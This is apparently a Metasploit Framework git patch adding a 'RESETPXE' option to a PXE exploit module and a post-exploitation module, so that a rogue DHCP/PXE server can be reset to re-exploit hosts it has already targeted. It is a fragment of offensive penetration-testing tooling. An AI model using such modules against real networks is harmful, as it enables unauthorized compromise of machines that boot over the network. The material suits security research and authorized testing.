From 1d2ddc55e833bad11a33531ba3acd73470d0a5a8 Mon Sep 17 00:00:00 2001 From: Matt Weeks Date: Sun, 18 Sep 2011 20:44:16 +0000 Subject: [PATCH] Add UI for PXE attack reset. git-svn-id: file:///home/svn/framework3/trunk@13753 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/windows/misc/pxexploit.rb | 6 ++++++ modules/post/windows/manage/pxexploit.rb | 6 ++++++ 2 files changed, 12 insertions(+) diff --git a/modules/exploits/windows/misc/pxexploit.rb b/modules/exploits/windows/misc/pxexploit.rb index 33632655ae..9716c450d3 100644 --- a/modules/exploits/windows/misc/pxexploit.rb +++ b/modules/exploits/windows/misc/pxexploit.rb @@ -66,6 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) ], self.class) @@ -92,6 +93,11 @@ class Metasploit3 < Msf::Exploit::Remote if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.reset_dhcp + end end print_status("Loading DHCP options...") diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index 7e554f4bc9..72192c4946 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) ], self.class) @@ -55,6 +56,11 @@ class Metasploit3 < Msf::Post if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.reset_dhcp + end end #Not setting these options (using autodetect)